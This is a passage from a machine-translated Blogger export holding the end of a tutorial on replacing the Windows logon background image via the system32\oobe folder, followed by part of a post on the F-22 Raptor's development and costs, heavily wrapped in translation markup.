<span class="" id="result_box" lang="en"><span title="Klik untuk terjemahan alternatif">4.</span></span><span class="long_text" id="result_box"><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" style="background-color: white;" title="kalau cara diatas
sudah selesai tutup registry anda, dan buka my computer">if the above is completed shut your registry, and open my computer</span></span><span class="" id="result_box" lang="en"><span title="Klik untuk terjemahan alternatif"> C:\windows\system32\oobe</span></span><br />
<br />
<span class="" id="result_box" lang="en"><span title="Klik untuk terjemahan alternatif">5. </span></span><span class="short_text" id="result_box" lang="en"><span class="hps" title="Klik
untuk terjemahan alternatif">Create a</span> <span class="hps" title="Klik untuk terjemahan alternatif">folder</span> <span class="hps" title="Klik untuk terjemahan alternatif">named</span> <span class="hps" title="Klik untuk terjemahan alternatif">info</span> <span class="hps" title="Klik untuk terjemahan alternatif">like the picture below.</span></span><br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8EaECHIXwcz8RjJLVjVIGANTmNKl1RGUcOefhJrqdKJLBCUgl02WTXKfaDOVkJkdLmGDNtmK-UIgF_Wi1bxNYPHNiUbOjKesUcloN3WRLyyjHsFsTnd5L5ELwNYWa0sZa5EYBOuzKj1Q/s1600/reg1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="187" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8EaECHIXwcz8RjJLVjVIGANTmNKl1RGUcOefhJrqdKJLBCUgl02WTXKfaDOVkJkdLmGDNtmK-UIgF_Wi1bxNYPHNiUbOjKesUcloN3WRLyyjHsFsTnd5L5ELwNYWa0sZa5EYBOuzKj1Q/s320/reg1.png" width="320" /></a></div><span class="short_text" id="result_box" lang="en"><span class="hps" title="Klik untuk terjemahan alternatif"> </span></span><span class="short_text" id="result_box" lang="en"><span class="hps" title="Klik untuk terjemahan alternatif"> </span></span><br />
<span class="short_text" id="result_box" lang="en"><span class="hps" title="Klik untuk terjemahan alternatif">6. </span></span><span class="long_text" id="result_box"><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" style="background-color: white;" title="kemudian didalam folder info buatlah folder
baru bernama backgrounds seperti gambar dibawah ini :">then in the info folder create a new folder named backgrounds as shown below :</span></span><br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjogBd3M8omsO-1lXkrSFurG16QBwqW-7jZnzT6-c_yMrLZ4FLpX3ZDDWyVIWfqzSkiWF9g7fejoI4UBATCXTdWCMLoM4xAXJB8cjzQZEBryaNeFC3F8f52Lo0aDtpaQ0MHuYXdqzgsDo/s1600/reg1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="187" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjogBd3M8omsO-1lXkrSFurG16QBwqW-7jZnzT6-c_yMrLZ4FLpX3ZDDWyVIWfqzSkiWF9g7fejoI4UBATCXTdWCMLoM4xAXJB8cjzQZEBryaNeFC3F8f52Lo0aDtpaQ0MHuYXdqzgsDo/s320/reg1.png" width="320" /></a></div><span class="long_text" id="result_box"><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" style="background-color: white;" title="kemudian didalam folder info buatlah folder
baru bernama backgrounds seperti gambar dibawah ini :"> </span></span><span class="short_text" id="result_box" lang="en"><span class="hps" title="Klik untuk terjemahan alternatif"> </span></span><br />
<span class="short_text" id="result_box" lang="en"><span class="hps" title="Klik untuk terjemahan alternatif">7. </span></span><span class="long_text" id="result_box" lang="en"><span class="hps" title="Klik
untuk terjemahan alternatif">after creating</span> <span class="hps" title="Klik untuk terjemahan alternatif">a folder</span> <span class="hps" title="Klik untuk terjemahan alternatif">backgrouds</span> <span class="hps" title="Klik untuk terjemahan alternatif">finished</span><span title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik
untuk terjemahan alternatif">you just</span> <span class="hps" title="Klik untuk terjemahan alternatif">insert</span> <span class="hps" title="Klik untuk terjemahan alternatif">any image,</span> <span class="hps" title="Klik untuk terjemahan alternatif">but</span> <span class="hps" title="Klik untuk terjemahan alternatif">must</span> <span class="hps" title="Klik untuk terjemahan alternatif">file</span><span class="" title="Klik untuk terjemahan alternatif">.</span> <span class="hps" title="Klik untuk terjemahan alternatif">jpg</span> <span class="hps" title="Klik untuk terjemahan alternatif">with the name</span> <span class="hps" title="Klik untuk terjemahan alternatif">backgrounddefault</span> <span class="hps" title="Klik untuk terjemahan alternatif">with</span> <span class="hps" title="Klik untuk terjemahan alternatif">size</span> <span class="hps" title="Klik untuk terjemahan alternatif">1024x758</span><span title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik
untuk terjemahan alternatif">like</span> <span class="hps" title="Klik
untuk terjemahan alternatif">the example</span> <span class="hps" title="Klik untuk terjemahan alternatif">below :</span></span><br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQ1lkzm61VLOn7z8qr3cOqjets-fXagDc3BPRXkGohXqhmNDBeIL6QRSYjiNZX6IZ7Z-xJhnzU0IyPPQeHKtM7LHF6UHsqyEs-K71UjY9-6e1lsU3I0KZsfbLnTr_Ls1wFNr3Ju2Q0q34/s1600/reg1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="187" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQ1lkzm61VLOn7z8qr3cOqjets-fXagDc3BPRXkGohXqhmNDBeIL6QRSYjiNZX6IZ7Z-xJhnzU0IyPPQeHKtM7LHF6UHsqyEs-K71UjY9-6e1lsU3I0KZsfbLnTr_Ls1wFNr3Ju2Q0q34/s320/reg1.png" width="320" /></a></div><span class="long_text" id="result_box" lang="en"><span class="" title="Klik untuk terjemahan alternatif"></span></span><br />
<br />
<span class="long_text" id="result_box" lang="en"><span class="" title="Klik untuk terjemahan alternatif"> </span></span><span class="short_text" id="result_box" lang="en"><span class="hps" title="Klik untuk terjemahan alternatif">8. </span></span><span class="long_text" id="result_box" lang="en"><span class="hps" title="Klik
untuk terjemahan alternatif">When finished</span> <span class="hps" title="Klik untuk terjemahan alternatif">you just</span> <span class="hps" title="Klik untuk terjemahan alternatif">check</span> <span class="hps" title="Klik untuk terjemahan alternatif">your</span> <span class="hps" title="Klik untuk terjemahan alternatif">user</span> <span class="hps" title="Klik untuk terjemahan alternatif">swith</span><span class="" title="Klik untuk terjemahan alternatif">, the display</span> <span class="hps" title="Klik untuk terjemahan alternatif">will change</span> <span class="hps" title="Klik untuk terjemahan alternatif">as</span> <span class="hps" title="Klik untuk terjemahan alternatif">you</span> <span class="hps" title="Klik untuk terjemahan alternatif">change</span> <span class="hps" title="Klik untuk terjemahan alternatif">the picture</span> <span class="hps" title="Klik untuk terjemahan alternatif">above,</span> <span class="hps" title="Klik untuk terjemahan alternatif">I</span> <span class="hps" title="Klik untuk terjemahan alternatif">have</span> <span class="hps" title="Klik untuk terjemahan alternatif">sperti</span> <span class="hps" title="Klik untuk terjemahan alternatif">example</span><span class="" title="Klik untuk terjemahan alternatif">.</span></span><br />
<br />
<br />
<span class="long_text" id="result_box" lang="en"><span class="" title="Klik untuk terjemahan alternatif">9. i</span></span><span class="long_text" id="result_box" lang="en"><span class="hps" title="Klik
untuk terjemahan alternatif">f</span> <span class="hps" title="Klik
untuk terjemahan alternatif">you</span> <span class="hps" title="Klik
untuk terjemahan alternatif">like</span> <span class="hps" title="Klik
untuk terjemahan alternatif">my tutorial</span><span title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik
untuk terjemahan alternatif">please</span> <span class="hps" title="Klik
untuk terjemahan alternatif">leave</span> <span class="hps" title="Klik
untuk terjemahan alternatif">a comment below</span></span><span class="" id="result_box" lang="en"><span title="Klik untuk terjemahan alternatif"> </span></span>ridwan baihaqihttp://www.blogger.com/profile/06188834197555634085noreply@blogger.com0tag:blogger.com,1999:blog-872526658971900970.post-22728863127660197082011-07-17T03:55:00.000-07:002011-07-17T03:55:36.265-07:00Specification F-22 Raptor<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPWcfxEZ9YooWfv5lAa2MWZHoPzF7DH5lRokP-YDpsOpxJn80WL1N1Q2UlMjY1_h4K7O4qyS3LY3ORQRZEIPDhpLuXZd5nFD1DzYCFBTVXX4JDTy85VY4IgUqSopII7hIP_PNufxNOqaE/s1600/raptor.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPWcfxEZ9YooWfv5lAa2MWZHoPzF7DH5lRokP-YDpsOpxJn80WL1N1Q2UlMjY1_h4K7O4qyS3LY3ORQRZEIPDhpLuXZd5nFD1DzYCFBTVXX4JDTy85VY4IgUqSopII7hIP_PNufxNOqaE/s1600/raptor.png" /></a></div><br />
<br />
<span class="" id="result_box" lang="en"><span class="hps" title="Klik untuk
terjemahan alternatif">F</span><span class="" title="Klik
untuk terjemahan alternatif">-22</span> <span class="hps" title="Klik untuk
terjemahan alternatif">Raptor</span> <span class="hps" title="Klik untuk
terjemahan alternatif">stealth</span> <span class="hps" title="Klik
untuk terjemahan alternatif">fighter</span> <span class="hps" title="Klik untuk terjemahan alternatif">is</span> <span class="hps" title="Klik untuk terjemahan alternatif">made in</span> <span class="hps" title="Klik untuk terjemahan alternatif">the United</span> <span class="hps" title="Klik untuk terjemahan alternatif">States</span><span class="" title="Klik untuk terjemahan alternatif">.</span> <span class="hps" title="Klik untuk terjemahan alternatif">The aircraft was</span> <span class="hps" title="Klik untuk terjemahan alternatif">originally</span> <span class="hps" title="Klik untuk terjemahan alternatif">planned</span> <span class="hps" title="Klik untuk terjemahan alternatif">to</span> <span class="hps" title="Klik untuk terjemahan alternatif">be used as</span> <span class="hps" title="Klik untuk terjemahan alternatif">air superiority fighter</span> <span class="hps" title="Klik untuk terjemahan alternatif">for</span> <span class="hps" title="Klik untuk terjemahan alternatif">fighter aircraft</span> <span class="hps" title="Klik untuk terjemahan
alternatif">used against</span> <span class="hps" title="Klik untuk
terjemahan alternatif">the Soviet</span> <span class="hps" title="Klik
untuk terjemahan alternatif">Union</span><span class="" title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik
untuk terjemahan alternatif">but</span> <span class="hps" title="Klik
untuk terjemahan alternatif">the aircraft is</span> <span class="hps" title="Klik untuk terjemahan alternatif">equipped for</span> <span class="hps" title="Klik untuk terjemahan alternatif">ground attack</span><span class="" title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik untuk terjemahan alternatif">electronic warfare and</span> <span class="hps" title="Klik untuk terjemahan alternatif">signals</span> <span class="hps" title="Klik untuk terjemahan
alternatif">intelligence</span><span class="" title="Klik
untuk terjemahan alternatif">.</span> <span class="hps" title="Klik untuk terjemahan
alternatif">This aircraft</span> <span class="hps" title="Klik untuk
terjemahan alternatif">through</span> <span class="hps" title="Klik
untuk terjemahan alternatif">a long</span> <span class="hps" title="Klik
untuk terjemahan alternatif">period of</span> <span class="hps" title="Klik untuk terjemahan alternatif">development</span><span class="" title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik untuk terjemahan alternatif">prototype</span> <span class="hps" title="Klik untuk terjemahan alternatif">versions</span> <span class="hps" title="Klik untuk terjemahan alternatif">were named</span> <span class="hps" title="Klik untuk terjemahan alternatif">YF</span><span class="" title="Klik untuk terjemahan alternatif">-22</span><span class="" title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik untuk terjemahan alternatif">three</span> <span class="hps" title="Klik untuk terjemahan alternatif">years</span> <span class="hps" title="Klik untuk terjemahan alternatif">before it</span> <span class="hps" title="Klik untuk terjemahan alternatif">was officially adopted</span> <span class="hps" title="Klik untuk terjemahan alternatif">named</span> <span class="hps" title="Klik untuk terjemahan alternatif">F/A-22</span><span class="" title="Klik untuk terjemahan
alternatif">,</span> <span class="hps" title="Klik untuk terjemahan alternatif">and</span> <span class="hps" title="Klik untuk terjemahan alternatif">eventually</span> <span class="hps" title="Klik untuk terjemahan
alternatif">was named</span> <span class="hps" title="Klik untuk
terjemahan alternatif">the F</span><span class="atn" title="Klik untuk
terjemahan alternatif">-</span><span class="" title="Klik
untuk terjemahan alternatif">22A</span> <span class="hps" title="Klik untuk
terjemahan alternatif">when it</span> <span class="hps" title="Klik
untuk terjemahan alternatif">officially</span> <span class="hps" title="Klik untuk terjemahan alternatif">came into use in</span> <span class="hps" title="Klik untuk terjemahan alternatif">December 2005</span><span class="" title="Klik untuk terjemahan alternatif">.</span> <span class="hps" title="Klik untuk terjemahan alternatif">Lockheed</span> <span class="hps" title="Klik untuk terjemahan alternatif">Martin</span> <span class="hps" title="Klik untuk terjemahan alternatif">Aeronautics</span> <span class="hps" title="Klik untuk terjemahan alternatif">is the prime contractor</span> <span class="hps" title="Klik untuk terjemahan alternatif">responsible for</span> <span class="hps" title="Klik untuk terjemahan
alternatif">producing</span> <span class="hps" title="Klik untuk
terjemahan alternatif">most of the</span> <span class="hps" title="Klik
untuk terjemahan alternatif">airframe</span><span class="" title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik
untuk terjemahan alternatif">armament</span><span class="" title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik
untuk terjemahan alternatif">and the</span> <span class="hps" title="Klik untuk terjemahan alternatif">assembly of</span> <span class="hps" title="Klik untuk terjemahan alternatif">the F</span><span class="" title="Klik untuk terjemahan alternatif">-22</span><span class="" title="Klik untuk terjemahan alternatif">.</span> <span class="hps" title="Klik untuk terjemahan alternatif">Then</span> <span class="hps" title="Klik untuk terjemahan alternatif">his partner</span><span class="" title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik untuk terjemahan alternatif">Boeing</span> <span class="hps" title="Klik untuk terjemahan alternatif">Integrated Defense</span> <span class="hps" title="Klik untuk terjemahan alternatif">Systems</span> <span class="hps" title="Klik untuk terjemahan alternatif">manufactures</span> <span class="hps" title="Klik untuk terjemahan alternatif">the wings</span><span class="" title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik untuk terjemahan alternatif">avionics equipment</span><span class="" title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik untuk terjemahan alternatif">and</span> <span class="hps" title="Klik untuk terjemahan alternatif">pilot training and</span> <span class="hps" title="Klik untuk terjemahan alternatif">maintenance</span><span class="" title="Klik untuk terjemahan alternatif">.</span></span><br />
<br />
<br />
<br />
<span class="" id="result_box" lang="en"><span class="" title="Klik untuk terjemahan alternatif"><b><span style="font-size: large;">History</span></b> </span></span><br />
<span class="" id="result_box" lang="en"><span class="hps" title="Klik untuk
terjemahan alternatif">Advanced</span> <span class="hps" title="Klik
untuk terjemahan alternatif">Tactical</span> <span class="hps" title="Klik untuk terjemahan alternatif">Fighter</span> <span class="hps atn" title="Klik untuk terjemahan alternatif">(</span><span title="Klik untuk terjemahan alternatif">ATF</span><span title="Klik
untuk terjemahan alternatif">)</span> <span class="hps" title="Klik untuk terjemahan
alternatif">is a</span> <span class="hps" title="Klik untuk terjemahan
alternatif">contract</span> <span class="hps" title="Klik untuk
terjemahan alternatif">for the</span> <span class="hps" title="Klik
untuk terjemahan alternatif">demonstration</span> <span class="hps" title="Klik untuk terjemahan alternatif">and</span> <span class="hps" title="Klik untuk terjemahan alternatif">validation</span> <span class="hps" title="Klik untuk terjemahan alternatif">program</span> <span class="hps" title="Klik untuk terjemahan alternatif">that</span> <span class="hps" title="Klik untuk terjemahan alternatif">made</span> <span class="hps" title="Klik untuk terjemahan alternatif">the United States Air</span> <span class="hps" title="Klik untuk terjemahan alternatif">Force</span> <span class="hps" title="Klik untuk terjemahan alternatif">to</span> <span class="hps" title="Klik untuk terjemahan alternatif">develop</span> <span class="hps" title="Klik untuk terjemahan alternatif">a</span> <span class="hps" title="Klik untuk terjemahan alternatif">new</span> <span class="hps" title="Klik untuk terjemahan alternatif">generation</span> <span class="hps" title="Klik untuk terjemahan alternatif">air superiority fighter</span> <span class="hps" title="Klik untuk terjemahan alternatif">to</span> <span class="hps" title="Klik untuk terjemahan alternatif">face threats</span> <span class="hps" title="Klik untuk terjemahan
alternatif">from outside the United</span> <span class="hps" title="Klik
untuk terjemahan alternatif">States</span><span title="Klik
untuk terjemahan alternatif">,</span> <span class="hps" title="Klik untuk
terjemahan alternatif">including</span> <span class="hps" title="Klik
untuk terjemahan alternatif">the development of</span> <span class="hps" title="Klik untuk terjemahan alternatif">the Su</span><span class="" title="Klik untuk terjemahan alternatif">-27</span> <span class="hps" title="Klik untuk terjemahan alternatif">aircraft-grade</span> <span class="hps" title="Klik untuk terjemahan alternatif">Soviet</span> <span class="hps" title="Klik untuk terjemahan alternatif">era</span><span title="Klik untuk terjemahan alternatif">.</span><br />
<span class="hps" title="Klik
untuk terjemahan alternatif">In 1981</span><span title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik
untuk terjemahan alternatif">the United</span> <span class="hps" title="Klik untuk terjemahan alternatif">States</span> <span class="hps" title="Klik untuk terjemahan alternatif">Air Force</span> <span class="hps" title="Klik untuk terjemahan alternatif">to map</span> <span class="hps" title="Klik untuk terjemahan alternatif">the requirements</span> <span class="hps" title="Klik untuk terjemahan alternatif">to be met</span> <span class="hps" title="Klik untuk terjemahan alternatif">a</span> <span class="hps" title="Klik untuk terjemahan alternatif">new</span> <span class="hps" title="Klik untuk terjemahan alternatif">fighter</span> <span class="hps" title="Klik untuk terjemahan alternatif">aircraft</span> <span class="hps" title="Klik untuk terjemahan alternatif">that</span> <span class="hps" title="Klik untuk terjemahan alternatif">is planned</span> <span class="hps" title="Klik untuk terjemahan alternatif">to</span> <span class="hps" title="Klik untuk terjemahan alternatif">replace</span> <span class="hps" title="Klik untuk terjemahan alternatif">the F</span><span title="Klik untuk terjemahan alternatif">-15</span> <span class="hps" title="Klik
untuk terjemahan alternatif">Eagle</span><span title="Klik
untuk terjemahan alternatif">.</span> <span class="hps" title="Klik untuk terjemahan
alternatif">ATF</span> <span class="hps" title="Klik untuk terjemahan
alternatif">planned</span> <span class="hps" title="Klik untuk
terjemahan alternatif">to</span> <span class="hps" title="Klik untuk
terjemahan alternatif">integrate</span> <span class="hps" title="Klik
untuk terjemahan alternatif">modern</span> <span class="hps" title="Klik
untuk terjemahan alternatif">technology</span> <span class="hps" title="Klik untuk terjemahan alternatif">such as</span> <span class="hps" title="Klik untuk terjemahan alternatif">advanced metal</span> <span class="hps" title="Klik untuk terjemahan alternatif">and</span> <span class="hps" title="Klik untuk terjemahan alternatif">composite materials</span><span title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik untuk terjemahan alternatif">advanced</span> <span class="hps" title="Klik untuk terjemahan alternatif">control</span> <span class="hps" title="Klik untuk terjemahan alternatif">systems</span><span title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik
untuk terjemahan alternatif">high</span><span title="Klik
untuk terjemahan alternatif">-powered</span> <span class="hps" title="Klik untuk
terjemahan alternatif">propulsion systems</span><span title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik
untuk terjemahan alternatif">and</span> <span class="hps" title="Klik
untuk terjemahan alternatif">stealth aircraft</span> <span class="hps" title="Klik untuk terjemahan alternatif">technology</span><span title="Klik untuk terjemahan alternatif">.</span><br />
<span class="hps" title="Klik
untuk terjemahan alternatif">Proposals for</span> <span class="hps" title="Klik untuk terjemahan alternatif">the contract</span> <span class="hps" title="Klik untuk terjemahan alternatif">was filed</span> <span class="hps" title="Klik untuk terjemahan alternatif">in 1986</span><span title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik
untuk terjemahan alternatif">by two</span> <span class="hps" title="Klik
untuk terjemahan alternatif">contractor</span> <span class="hps" title="Klik untuk terjemahan alternatif">teams</span><span title="Klik untuk terjemahan alternatif">, namely the</span> <span class="hps" title="Klik untuk terjemahan alternatif">Lockheed</span><span class="atn" title="Klik untuk terjemahan alternatif">-</span><span title="Klik untuk terjemahan alternatif">Boeing</span><span class="atn" title="Klik
untuk terjemahan alternatif">-</span><span title="Klik untuk
terjemahan alternatif">General Dynamics</span> <span class="hps" title="Klik untuk
terjemahan alternatif">and</span> <span class="hps" title="Klik untuk
terjemahan alternatif">Northrop</span><span class="atn" title="Klik
untuk terjemahan alternatif">-</span><span title="Klik untuk
terjemahan alternatif">McDonnell</span> <span class="hps" title="Klik untuk
terjemahan alternatif">Douglas</span><span title="Klik untuk
terjemahan alternatif">,</span> <span class="hps" title="Klik untuk terjemahan
alternatif">which</span> <span class="hps" title="Klik untuk terjemahan
alternatif">was elected in</span> <span class="hps" title="Klik untuk
terjemahan alternatif">October 1986</span> <span class="hps" title="Klik
untuk terjemahan alternatif">for</span> <span class="hps" title="Klik
untuk terjemahan alternatif">the</span> <span class="hps" title="Klik
untuk terjemahan alternatif">demonstration</span> <span class="hps" title="Klik untuk terjemahan alternatif">and</span> <span class="hps" title="Klik untuk terjemahan alternatif">validation</span> <span class="hps" title="Klik untuk terjemahan alternatif">phase</span> <span class="hps" title="Klik untuk terjemahan alternatif">for 50</span> <span class="hps" title="Klik untuk terjemahan alternatif">months</span><span title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik
untuk terjemahan alternatif">which</span> <span class="hps" title="Klik
untuk terjemahan alternatif">eventually</span> <span class="hps" title="Klik untuk terjemahan alternatif">produced two</span> <span class="hps" title="Klik untuk terjemahan alternatif">prototypes</span><span title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik
untuk terjemahan alternatif">the</span> <span class="hps" title="Klik
untuk terjemahan alternatif">YF</span> <span class="hps" title="Klik
untuk terjemahan alternatif">-22</span> <span class="hps" title="Klik
untuk terjemahan alternatif">and the</span> <span class="hps" title="Klik untuk terjemahan alternatif">YF</span><span title="Klik untuk terjemahan alternatif">-23</span><span title="Klik
untuk terjemahan alternatif">.</span><br />
<span class="hps" title="Klik untuk
terjemahan alternatif">The aircraft is</span> <span class="hps" title="Klik untuk terjemahan alternatif">planned</span> <span class="hps" title="Klik untuk terjemahan alternatif">to</span> <span class="hps" title="Klik untuk terjemahan alternatif">be</span> <span class="hps" title="Klik untuk terjemahan alternatif">the most</span> <span class="hps" title="Klik untuk terjemahan alternatif">advanced</span> <span class="hps" title="Klik untuk terjemahan alternatif">U.S. aircraft</span> <span class="hps" title="Klik untuk terjemahan alternatif">at the beginning of</span> <span class="hps" title="Klik untuk terjemahan alternatif">the 21st century</span><span title="Klik untuk terjemahan
alternatif">,</span> <span class="hps" title="Klik untuk terjemahan alternatif">therefore</span><span title="Klik untuk terjemahan
alternatif">,</span> <span class="hps" title="Klik untuk terjemahan alternatif">this aircraft</span> <span class="hps" title="Klik untuk terjemahan
alternatif">is the</span> <span class="hps" title="Klik untuk terjemahan
alternatif">most</span> <span class="hps" title="Klik untuk terjemahan
alternatif">expensive</span> <span class="hps" title="Klik untuk
terjemahan alternatif">fighter aircraft</span><span title="Klik untuk terjemahan alternatif">, at a price</span> <span class="hps" title="Klik untuk terjemahan alternatif">of U.S.</span> <span class="hps" title="Klik untuk terjemahan alternatif">$ 120</span> <span class="hps" title="Klik untuk terjemahan alternatif">million</span> <span class="hps" title="Klik untuk terjemahan alternatif">per</span> <span class="hps" title="Klik untuk terjemahan alternatif">unit</span><span title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik
untuk terjemahan alternatif">or U.S.</span> <span class="hps" title="Klik untuk terjemahan alternatif">$ 361</span> <span class="hps" title="Klik untuk terjemahan alternatif">million</span> <span class="hps" title="Klik untuk terjemahan alternatif">per</span> <span class="hps" title="Klik untuk terjemahan alternatif">unit</span> <span class="hps" title="Klik untuk terjemahan alternatif">when added</span> <span class="hps" title="Klik untuk terjemahan alternatif">to the</span> <span class="hps" title="Klik untuk terjemahan alternatif">cost of</span> <span class="hps" title="Klik untuk terjemahan alternatif">development</span><span title="Klik untuk terjemahan alternatif">.</span> <span class="hps" title="Klik
untuk terjemahan alternatif">In</span> <span class="hps" title="Klik
untuk terjemahan alternatif">April 2005</span><span title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik
untuk terjemahan alternatif">the total</span> <span class="hps" title="Klik untuk terjemahan alternatif">development cost</span> <span class="hps" title="Klik untuk terjemahan alternatif">of this</span> <span class="hps" title="Klik untuk terjemahan alternatif">program</span> <span class="hps" title="Klik untuk terjemahan alternatif">is U.S.</span> <span class="hps" title="Klik untuk terjemahan alternatif">$ 70</span> <span class="hps" title="Klik untuk terjemahan alternatif">billion</span><span title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik
untuk terjemahan alternatif">causing</span> <span class="hps" title="Klik untuk terjemahan alternatif">the number of aircraft</span> <span class="hps" title="Klik untuk terjemahan alternatif">planned</span> <span class="hps" title="Klik untuk terjemahan
alternatif">to be made</span> <span class="hps" title="Klik untuk
terjemahan alternatif">down</span> <span class="hps" title="Klik untuk
terjemahan alternatif">to 438</span><span title="Klik untuk
terjemahan alternatif">,</span> <span class="hps" title="Klik untuk terjemahan
alternatif">then</span> <span class="hps" title="Klik untuk terjemahan
alternatif">381,</span> <span class="hps" title="Klik untuk terjemahan
alternatif">and</span> <span class="hps" title="Klik untuk terjemahan
alternatif">now</span> <span class="hps" title="Klik untuk terjemahan
alternatif">180,</span> <span class="hps" title="Klik untuk terjemahan
alternatif">from the</span> <span class="hps" title="Klik untuk
terjemahan alternatif">initial</span> <span class="hps" title="Klik
untuk terjemahan alternatif">plan of</span> <span class="hps" title="Klik untuk terjemahan alternatif">750</span> <span class="hps" title="Klik untuk terjemahan alternatif">aircraft</span><span title="Klik untuk terjemahan alternatif">.</span> <span class="hps" title="Klik
untuk terjemahan alternatif">One of</span> <span class="hps" title="Klik
untuk terjemahan alternatif">the factors causing</span> <span class="hps" title="Klik untuk terjemahan alternatif">this</span> <span class="hps" title="Klik untuk terjemahan alternatif">reduction</span> <span class="hps" title="Klik untuk terjemahan alternatif">is</span> <span class="hps" title="Klik untuk terjemahan alternatif">due to</span> <span class="hps" title="Klik untuk terjemahan alternatif">the F</span><span title="Klik untuk terjemahan alternatif">-35</span> <span class="hps" title="Klik
untuk terjemahan alternatif">Lightning</span> <span class="hps" title="Klik untuk terjemahan alternatif">II</span> <span class="hps" title="Klik untuk terjemahan alternatif">will</span> <span class="hps" title="Klik untuk terjemahan alternatif">have the</span> <span class="hps" title="Klik untuk terjemahan alternatif">same technology as the</span> <span class="hps" title="Klik untuk terjemahan alternatif">F</span><span title="Klik untuk terjemahan alternatif">-22</span><span title="Klik
untuk terjemahan alternatif">,</span> <span class="hps" title="Klik untuk terjemahan
alternatif">but</span> <span class="hps" title="Klik untuk terjemahan
alternatif">with</span> <span class="hps" title="Klik untuk terjemahan
alternatif">a cheaper</span> <span class="hps" title="Klik untuk
terjemahan alternatif">unit price</span><span title="Klik
untuk terjemahan alternatif">.</span></span><span class="" id="result_box" lang="en"><span class="" title="Klik untuk terjemahan alternatif"> </span></span><br />
<span class="" id="result_box" lang="en"><span class="" title="Klik untuk terjemahan alternatif"><br />
</span></span><br />
<span class="" id="result_box" lang="en"><span style="font-size: large;"><b><span class="hps" title="Klik untuk
terjemahan alternatif">YF</span><span title="Klik untuk
terjemahan alternatif">-22</span> <span class="hps atn" title="Klik untuk terjemahan
alternatif">'</span><span title="Klik untuk terjemahan
alternatif">Lightning</span> <span class="hps" title="Klik untuk terjemahan
alternatif">II</span><span title="Klik untuk terjemahan
alternatif">'</span></b></span><br />
<span class="hps" title="Klik untuk terjemahan alternatif">YF</span><span title="Klik untuk terjemahan alternatif">-22</span> <span class="hps" title="Klik untuk terjemahan alternatif">is a</span> <span class="hps" title="Klik untuk terjemahan alternatif">plane</span> <span class="hps" title="Klik untuk terjemahan alternatif">development</span> <span class="hps" title="Klik untuk terjemahan alternatif">is the basis</span> <span class="hps" title="Klik untuk terjemahan alternatif">for</span> <span class="hps" title="Klik untuk terjemahan alternatif">the manufacture of</span> <span class="hps" title="Klik untuk terjemahan alternatif">the F</span><span title="Klik untuk terjemahan alternatif">-22</span> <span class="hps" title="Klik
untuk terjemahan alternatif">production version</span><span title="Klik untuk terjemahan alternatif">.</span> <span class="hps" title="Klik
untuk terjemahan alternatif">However</span><span title="Klik
untuk terjemahan alternatif">,</span> <span class="hps" title="Klik untuk
terjemahan alternatif">there are</span> <span class="hps" title="Klik
untuk terjemahan alternatif">some</span> <span class="hps" title="Klik
untuk terjemahan alternatif">significant</span> <span class="hps" title="Klik untuk terjemahan alternatif">differences</span> <span class="hps" title="Klik untuk terjemahan alternatif">between</span> <span class="hps" title="Klik untuk terjemahan alternatif">the two,</span> <span class="hps" title="Klik untuk terjemahan alternatif">ie</span> <span class="hps" title="Klik untuk terjemahan alternatif">changes in</span> <span class="hps" title="Klik untuk terjemahan alternatif">the position of</span> <span class="hps" title="Klik untuk terjemahan alternatif">the cockpit</span><span title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik
untuk terjemahan alternatif">structural</span> <span class="hps" title="Klik untuk terjemahan alternatif">changes</span><span title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik
untuk terjemahan alternatif">and</span> <span class="hps" title="Klik
untuk terjemahan alternatif">many</span> <span class="hps" title="Klik
untuk terjemahan alternatif">other small changes</span><span title="Klik untuk terjemahan alternatif">.</span> <span class="hps" title="Klik
